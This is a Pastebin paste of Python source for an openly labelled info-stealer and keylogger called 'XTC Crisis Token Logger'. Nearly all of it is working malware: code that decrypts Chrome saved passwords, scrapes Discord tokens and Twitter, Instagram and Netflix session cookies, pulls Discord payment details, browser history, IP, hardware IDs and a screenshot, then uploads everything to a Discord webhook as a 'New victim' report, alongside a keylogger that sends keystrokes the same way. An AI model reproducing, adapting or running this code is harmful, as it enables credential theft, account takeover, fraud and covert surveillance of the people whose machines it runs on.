Guest User

XTC Crisis Token Logger - Hacked by Hacker Bug

a guest
Oct 16th, 2022
363
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 19.52 KB | Cybersecurity | 0 0
  1. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  2. # ~ Developed by XTC CRACKED BY Hacker Bug ~ #
  3. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  4. import os
  5. import random
  6. import tkinter
  7. import time
  8. import threading
  9. import keyboard
  10. import sys
  11. import win32con
  12. import pyautogui as pyauto
  13. import browser_cookie3
  14. from tkinter import *
  15. from random import randint
  16. from threading import Timer
  17. from datetime import datetime
  18. from discord_webhook import DiscordWebhook, DiscordEmbed
  19. from json import loads, dumps
  20. from base64 import b64decode
  21. from sqlite3 import connect
  22. from shutil import copyfile
  23. from threading import Thread
  24. from win32crypt import CryptUnprotectData
  25. from Crypto.Cipher import AES
  26. from discord_webhook import DiscordEmbed, DiscordWebhook
  27. from subprocess import Popen, PIPE
  28. from urllib.request import urlopen, Request
  29. from requests import get
  30. from re import findall, search
  31. from win32api import SetFileAttributes, GetSystemMetrics
  32. from browser_history import get_history
  33. from prettytable import PrettyTable
  34. from platform import platform
  35. from getmac import get_mac_address as gma
  36. from psutil import virtual_memory
  37. from collections import defaultdict
  38. from zipfile import ZipFile, ZIP_DEFLATED
  39. from multiprocessing import freeze_support
  40. from tempfile import TemporaryDirectory
  41. from pyautogui import screenshot
  42. from random import choices
  43. from string import ascii_letters, digits
  44.  
  45.  
  46. SEND_REPORT_EVERY = 20
  47. WEBHOOK = ""
  48.  
  49. website = ['discord.com', 'twitter.com', 'instagram.com', 'netflix.com']
  50.  
  51. def get_screenshot(path):
  52.     get_screenshot.scrn = screenshot()
  53.     get_screenshot.scrn_path = os.path.join(
  54.         path, f"Screenshot_{''.join(choices(list(ascii_letters + digits), k=5))}.png")
  55.     get_screenshot.scrn.save(get_screenshot.scrn_path)
  56.  
  57. def get_hwid():
  58.     p = Popen('wmic csproduct get uuid', shell=True, stdout=PIPE, stderr=PIPE)
  59.     return (p.stdout.read() + p.stderr.read()).decode().split('\n')[1]
  60.  
  61. def get_user_data(tk):
  62.     headers = {'Authorization': tk}
  63.     response = get('https://discordapp.com/api/v6/users/@me',
  64.                    headers=headers).json()
  65.     return [response['username'], response['discriminator'],
  66.             response['email'], response['phone']]
  67.  
  68. def has_payment_methods(tk):
  69.     headers = {'Authorization': tk}
  70.     response = get(
  71.         'https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers).json()
  72.     return response
  73.  
  74. def cookies_grabber_mod(u):
  75.     cookies = []
  76.     browsers = ["chrome", "edge", "firefox",
  77.                 "brave", "opera", "vivaldi", "chromium"]
  78.     for browser in browsers:
  79.         try:
  80.             cookies.append(
  81.                 str(getattr(browser_cookie3, browser)(domain_name=u)))
  82.         except BaseException:
  83.             pass
  84.     return cookies
  85.  
  86. def get_Personal_data():
  87.     try:
  88.         ip_address = urlopen(
  89.             Request('https://api64.ipify.org')).read().decode().strip()
  90.         country = urlopen(
  91.             Request(f'https://ipapi.co/{ip_address}/country_name')).read().decode().strip()
  92.         city = urlopen(
  93.             Request(f'https://ipapi.co/{ip_address}/city')).read().decode().strip()
  94.     except BaseException:
  95.         city = "City not found -_-"
  96.         country = "Country not found -_-"
  97.         ip_address = "No IP found -_-"
  98.     return [ip_address, country, city]
  99.  
  100. def find_His():
  101.     table = PrettyTable(padding_width=1)
  102.     table.field_names = ["CurrentTime", "Link"]
  103.     for his in get_history().histories:
  104.         a, b = his
  105.         if len(b) <= 100:
  106.             table.add_row([a, b])
  107.         else:
  108.             x_ = b.split("//")
  109.             x__, x___ = x_[1].count('/'), x_[1].split('/')
  110.             if x___[0] != 'www.google.com':
  111.                 if x__ <= 5:
  112.                     b = f"{x_[0]}//"
  113.                     for p in x___:
  114.                         if x___.index(p) != len(x___) - 1:
  115.                             b += f"{p}/"
  116.                     if len(b) <= 100:
  117.                         table.add_row([a, b])
  118.                     else:
  119.                         table.add_row([a, f"{x_[0]}//{x___[0]}/[...]"])
  120.                 else:
  121.                     b = f"{x_[0]}//{x___[0]}/[...]"
  122.                     if len(b) <= 100:
  123.                         table.add_row([a, b])
  124.                     else:
  125.                         table.add_row([a, f"{x_[0]}//{x___[0]}/[...]"])
  126.     return table.get_string()
  127.  
  128.  
  129. def get_encryption_key():
  130.     local_state_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
  131.                                     "Google", "Chrome", "User Data", "Local State")
  132.     with open(local_state_path, "r", encoding="utf-8") as f:
  133.         local_state = loads(f.read())
  134.     return CryptUnprotectData(b64decode(local_state["os_crypt"]["encrypted_key"])[
  135.                               5:], None, None, None, 0)[1]
  136.  
  137.  
  138. def decrypt_data(data, key):
  139.     try:
  140.         return AES.new(key, AES.MODE_GCM, data[3:15]).decrypt(
  141.             data[15:])[:-16].decode()
  142.     except BaseException:
  143.         try:
  144.             return str(CryptUnprotectData(data, None, None, None, 0)[1])
  145.         except BaseException:
  146.             return ""
  147.  
  148.  
  149. def main(dirpath):
  150.     db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
  151.                            "Google", "Chrome", "User Data", "default", "Login Data")
  152.     chrome_psw_list = []
  153.     if os.path.exists(db_path):
  154.         key = get_encryption_key()
  155.         filename = os.path.join(dirpath, "ChromeData.db")
  156.         copyfile(db_path, filename)
  157.         db = connect(filename)
  158.         cursor = db.cursor()
  159.         cursor.execute(
  160.             'SELECT origin_url, username_value, password_value FROM logins')
  161.         chrome_psw_list = []
  162.         for url, user_name, pwd in cursor.fetchall():
  163.             pwd_db = decrypt_data(pwd, key)
  164.             if pwd_db:
  165.                 chrome_psw_list.append([user_name, pwd_db, url])
  166.         cursor.close()
  167.         db.close()
  168.     for w in website:
  169.         if w == website[0]:
  170.             tokens = []
  171.  
  172.             def discord_tokens(path):
  173.                 for file_name in os.listdir(path):
  174.                     if not file_name.endswith(
  175.                             '.log') and not file_name.endswith('.ldb'):
  176.                         continue
  177.                     for line in [x.strip() for x in open(
  178.                             f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
  179.                         for regex in (
  180.                                 r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
  181.                             for token in findall(regex, line):
  182.                                 if token not in tokens:
  183.                                     tokens.append(token)
  184.  
  185.             paths = [
  186.                 os.path.join(os.getenv('LOCALAPPDATA'), "Google", "Chrome",
  187.                              "User Data", "Default", "Local Storage", "leveldb"),
  188.                 os.path.join(os.getenv('APPDATA'), "Discord",
  189.                              "Local Storage", "leveldb"),
  190.                 os.path.join(os.getenv('APPDATA'),
  191.                              "Opera Software", "Opera Stable"),
  192.                 os.path.join(os.getenv('LOCALAPPDATA'), "BraveSoftware",
  193.                              "Brave-Browser", "User Data", "Default"),
  194.                 os.path.join(os.getenv('LOCALAPPDATA'), "Yandex",
  195.                              "YandexBrowser", "User Data", "Default"),
  196.                 os.path.join(os.getenv('APPDATA'), "discordptb"),
  197.                 os.path.join(os.getenv('APPDATA'), "discordcanary"),
  198.             ]
  199.             threads = []
  200.  
  201.             def find_wb(wb):
  202.                 if os.path.exists(wb):
  203.                     threads.append(Thread(target=discord_tokens, args=(wb,)))
  204.  
  205.             for j in paths:
  206.                 find_wb(j)
  207.             for t in threads:
  208.                 t.start()
  209.                 t.join()
  210.         elif w == website[1]:
  211.             t_cookies, t_lst = ([] for _ in range(2))
  212.             for b in cookies_grabber_mod(w):
  213.                 t_cookies.append(b.split(', '))
  214.             for c in t_cookies:
  215.                 for y in c:
  216.                     if search(r"auth_token", y) is not None:
  217.                         t_lst.append(y.split(' ')[1].split("=")[1])
  218.         elif w == website[2]:
  219.             insta_cookies, insta_lst = ([] for _ in range(2))
  220.             for b in cookies_grabber_mod(w):
  221.                 insta_cookies.append(b.split(', '))
  222.             browser_ = defaultdict(dict)
  223.             for c in insta_cookies:
  224.                 if all([search(r"ds_user_id", str(c)) is not None,
  225.                        search(r"sessionid", str(c)) is not None]):
  226.                     for y in c:
  227.                         conditions = [search(r"ds_user_id", y) is not None, search(
  228.                             r"sessionid", y) is not None]
  229.                         if any(conditions):
  230.                             browser_[insta_cookies.index(c)][conditions.index(True)] = y.split(' ')[
  231.                                 1].split("=")[1]
  232.             for x in list(dict(browser_).keys()):
  233.                 insta_lst.append(list(dict(browser_)[x].items()))
  234.             for x in insta_lst:
  235.                 for y in x:
  236.                     if x.index(y) != y[0]:
  237.                         x[x.index(y)], x[y[0]] = x[y[0]], x[x.index(y)]
  238.             for x in insta_lst:
  239.                 for y in x:
  240.                     x[x.index(y)] = y[1]
  241.         elif w == website[3]:
  242.             n_cookies, n_lst = ([] for _ in range(2))
  243.             for b in cookies_grabber_mod(w):
  244.                 n_cookies.append(b.split(', '))
  245.             for c in n_cookies:
  246.                 for y in c:
  247.                     if search(r"NetflixId", y) is not None:
  248.                         data = y.split(' ')[1].split("=")[1]
  249.                         if len(data) > 80:
  250.                             n_lst.append([])
  251.                             for y in c:
  252.                                 n_lst[-1].append({'domain': f"{website[3]}", "name": f"{y.split(' ')[1].split('=')[0]}",
  253.                                                  "value": f"{y.split(' ')[1].split('=')[1]}"})
  254.     all_data_p = []
  255.     for x in tokens:
  256.         lst_b = has_payment_methods(x)
  257.         try:
  258.             for n in range(len(lst_b)):
  259.                 if lst_b[n]['type'] == 1:
  260.                     writable = [lst_b[n]['brand'], lst_b[n]['type'], lst_b[n]['last_4'], lst_b[n]
  261.                                 ['expires_month'], lst_b[n]['expires_year'], lst_b[n]['billing_address']]
  262.                     if writable not in all_data_p:
  263.                         all_data_p.append(writable)
  264.                 elif lst_b[n]['type'] == 2:
  265.                     writable_2 = [lst_b[n]['email'], lst_b[n]
  266.                                   ['type'], lst_b[n]['billing_address']]
  267.                     if writable_2 not in all_data_p:
  268.                         all_data_p.append(writable_2)
  269.         except BaseException:
  270.             pass
  271.     return [tokens, list(set(t_lst)), list(set(tuple(element)
  272.                                                for element in insta_lst)), all_data_p, chrome_psw_list, n_lst]
  273.  
  274. def send_webhook(DISCORD_WEBHOOK_URLs):
  275.     p_lst = get_Personal_data()
  276.     with TemporaryDirectory(dir='.') as td:
  277.         SetFileAttributes(td, win32con.FILE_ATTRIBUTE_HIDDEN)
  278.         get_screenshot(path=td)
  279.         main_info = main(td)
  280.         discord_T, twitter_T, insta_T, chrome_Psw_t = (
  281.             PrettyTable(padding_width=1) for _ in range(4))
  282.         discord_T.field_names, twitter_T.field_names, insta_T.field_names, chrome_Psw_t.field_names, verified_tokens = [
  283.             "Discord Tokens", "Username", "Email", "Phone"], ["Twitter Tokens [auth_token]"], ["ds_user_id", "sessionid"], ['Username / Email', 'password', 'website'], []
  284.         for __t in main_info[4]:
  285.             chrome_Psw_t.add_row(__t)
  286.         for t_ in main_info[0]:
  287.             try:
  288.                 lst = get_user_data(t_)
  289.                 username, email, phone = f"{lst[0]}#{lst[1]}", lst[2], lst[3]
  290.                 discord_T.add_row([t_, username, email, phone])
  291.                 verified_tokens.append(t_)
  292.             except BaseException:
  293.                 pass
  294.         for _t in main_info[1]:
  295.             twitter_T.add_row([_t])
  296.         for _t_ in main_info[2]:
  297.             insta_T.add_row(_t_)
  298.         pay_l = []
  299.         for _p in main_info[3]:
  300.             if _p[1] == 1:
  301.                 payment_card = PrettyTable(padding_width=1)
  302.                 payment_card.field_names = [
  303.                     "Brand", "Last 4", "Type", "Expiration", "Billing Adress"]
  304.                 payment_card.add_row(
  305.                     [_p[0], _p[2], "Debit or Credit Card", f"{_p[3]}/{_p[4]}", _p[5]])
  306.                 pay_l.append(payment_card.get_string())
  307.             elif _p[1] == 2:
  308.                 payment_p = PrettyTable(padding_width=1)
  309.                 payment_p.field_names = ["Email", "Type", "Billing Adress"]
  310.                 payment_p.add_row([_p[0], "Paypal", _p[2]])
  311.                 pay_l.append(payment_p.get_string())
  312.         files_names = [[os.path.join(td, "Discord Tokens.txt"), discord_T], [os.path.join(td, "Twitter Tokens.txt"), twitter_T], [
  313.             os.path.join(td, "Instagram Tokens.txt"), insta_T], [os.path.join(td, "Chrome Pass.txt"), chrome_Psw_t]]
  314.         for x_, y_ in files_names:
  315.             if (y_ == files_names[0][1] and len(main_info[0]) != 0) or (y_ == files_names[1][1] and len(main_info[1]) != 0) or (
  316.                     y_ == files_names[2][1] and len(main_info[2]) != 0) or (y_ == files_names[3][1] and len(main_info[4]) != 0):
  317.                 with open(x_, 'w') as wr:
  318.                     wr.write(y_.get_string())
  319.         all_files = [os.path.join(
  320.             td, 'History.txt'), get_screenshot.scrn_path, os.path.join(td, "Payment Info.txt")]
  321.         for n in main_info[5]:
  322.             p = os.path.join(td, f'netflix_{main_info[5].index(n)}.json')
  323.             with open(p, 'w') as f:
  324.                 f.write(dumps(n, indent=4))
  325.             all_files.append(p)
  326.         with open(all_files[0], 'w') as f:
  327.             f.write(find_His())
  328.         with ZipFile(os.path.join(td, 'data.zip'), mode='w', compression=ZIP_DEFLATED) as zip:
  329.             if ('payment_card' or 'payment_p') in locals():
  330.                 with open(all_files[2], 'w') as f:
  331.                     for i in pay_l:
  332.                         f.write(f"{i}\n")
  333.             for files_path in all_files:
  334.                 try:
  335.                     zip.write(files_path)
  336.                 except FileNotFoundError:
  337.                     pass
  338.             for name_f, _ in files_names:
  339.                 if os.path.exists(name_f):
  340.                     zip.write(name_f)
  341.         for URL in DISCORD_WEBHOOK_URLs:
  342.             webhook = DiscordWebhook(url=URL, username='XTC Crisis Logger',
  343.                                      avatar_url="https://cdn.discordapp.com/attachments/1025353342152605756/1025804863172530246/unknown.png")
  344.             embed = DiscordEmbed(title='New victim !', color='f5eeee')
  345.             embed.add_embed_field(
  346.                 name='SYSTEM USER INFO', value=f"`PC Username:` **{os.getenv('UserName')}**\n`PC Name:` **{os.getenv('COMPUTERNAME')}**\n`OS:` **{platform()}**\n", inline=False)
  347.             embed.add_embed_field(
  348.                 name='IP USER INFO', value=f"`IP:` **{p_lst[0]}**\n`Country:` **{p_lst[1]}** :flag_{get(f'https://restcountries.com/v3/name/{p_lst[1]}').json()[0]['cca2'].lower()}:\n`City:` **{p_lst[2]}**\n`MAC:` **{gma()}**\n`HWID:` **{get_hwid()}**\n", inline=False)
  349.             embed.add_embed_field(
  350.                 name='PC USER COMPONENT', value=f"\n`RAM:` **{round(virtual_memory().total / (1024.0 ** 3), 2)} GB**\n`Resolution:` **{GetSystemMetrics(0)}x{GetSystemMetrics(1)}**\n", inline=False)
  351.             embed.add_embed_field(
  352.                 name='ACCOUNT GRABBED', value=f"` **{len(verified_tokens)}**\n`Twitter:` **{len(main_info[1])}**\n`Instagram:` **{len(main_info[2])}**\n`Netflix:` **{len(main_info[5])}**\n`Account Password Grabbed:` **{len(main_info[4])}**\n", inline=False)
  353.             card_e, paypal_e = ":white_check_mark:" if 'payment_card' in locals(
  354.             ) else ":x:", ":white_check_mark:" if 'payment_p' in locals() else ":x:"
  355.             embed.add_embed_field(
  356.                 name='PAYMENT INFO FOUNDED', value=f":credit_card:`Debit or Credit Card:` {card_e}\n`Paypal:` {paypal_e}", inline=False)
  357.             embed.set_footer(text='XTC Development')
  358.             embed.set_timestamp()
  359.             with open(os.path.join(td, "data.zip"), 'rb') as f:
  360.                 webhook.add_file(
  361.                     file=f.read(), filename=f"XTC Crisis Logger-{os.getenv('UserName')}.zip")
  362.             webhook.add_embed(embed)
  363.             webhook.execute()
  364.  
  365. class Keylogger:
  366.     def __init__(self, interval, report_method="webhook"):
  367.         now = datetime.now()
  368.         self.interval = interval
  369.         self.report_method = report_method
  370.         self.log = ""
  371.         self.start_dt = now.strftime('%d/%m/%Y %H:%M')
  372.         self.end_dt = now.strftime('%d/%m/%Y %H:%M')
  373.         self.username = os.getlogin()
  374.  
  375.     def callback(self, event):
  376.         name = event.name
  377.         if len(name) > 1:
  378.             if name == "space":
  379.                 name = " "
  380.             elif name == "enter":
  381.                 name = "[ENTER]\n"
  382.             elif name == "decimal":
  383.                 name = "."
  384.             elif name == "backspace":
  385.                 name = "[BP]"
  386.             else:
  387.                 name = name.replace(" ", "_")
  388.                 name = f"[{name.upper()}]"
  389.         self.log += name
  390.  
  391.     def report_to_webhook(self):
  392.         flag = False
  393.         webhook = DiscordWebhook(url=WEBHOOK)
  394.         if len(self.log) > 2000:
  395.             flag = True
  396.             path = os.environ["temp"] + "\\report.txt"
  397.             with open(path, 'w+') as file:
  398.                 file.write(f"XTC Keylogger Report From {self.username} Time: {self.end_dt}\n\n")
  399.                 file.write(self.log)
  400.             with open(path, 'rb') as f:
  401.                 webhook.add_file(file=f.read(), filename='report.txt')
  402.         else:
  403.             embed = DiscordEmbed(title=f"XTC Keylogger Report From ({self.username}) Time: {self.end_dt}", description=self.log)
  404.             embed.set_footer(text='Crisis Key-Logger By XTC',
  405.             icon_url='https://cdn.discordapp.com/attachments/807523886433566750/1000065017506430996/16DCA446-0681-47F6-8F97-05D7EA5E42E3.gif')
  406.             embed.set_image(url='')
  407.             embed.set_thumbnail(url='')
  408.             embed.set_author(name='Crisis Key-Logger By XTC',
  409.             icon_url='https://cdn.discordapp.com/attachments/807523886433566750/1000065017506430996/16DCA446-0681-47F6-8F97-05D7EA5E42E3.gif')
  410.             webhook.add_embed(embed)    
  411.         webhook.execute()
  412.         if flag:
  413.             os.remove(path)
  414.  
  415.     def report(self):
  416.         if self.log:
  417.             if self.report_method == "webhook":
  418.                 self.report_to_webhook()    
  419.         self.log = ""
  420.         timer = Timer(interval=self.interval, function=self.report)
  421.         timer.daemon = True
  422.         timer.start()
  423.  
  424.     def start(self):
  425.         self.start_dt = datetime.now()
  426.         keyboard.on_release(callback=self.callback)
  427.         self.report()
  428.         keyboard.wait()
  429.  
  430. root= Tk()
  431. root.attributes("-alpha",0)
  432. root.overrideredirect(1)
  433. root.attributes("-topmost",1)
  434.  
  435. if __name__ == "__main__":
  436.     freeze_support()
  437.     if len(sys.argv) == 1:
  438.         send_webhook([webhook])
  439.     else:
  440.         del sys.argv[0]
  441.         send_webhook(sys.argv)
  442.  
  443.  
  444. if __name__ == "__main__":
  445.     keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="webhook")    
  446.     keylogger.start()
Add Comment
Please, Sign In to add comment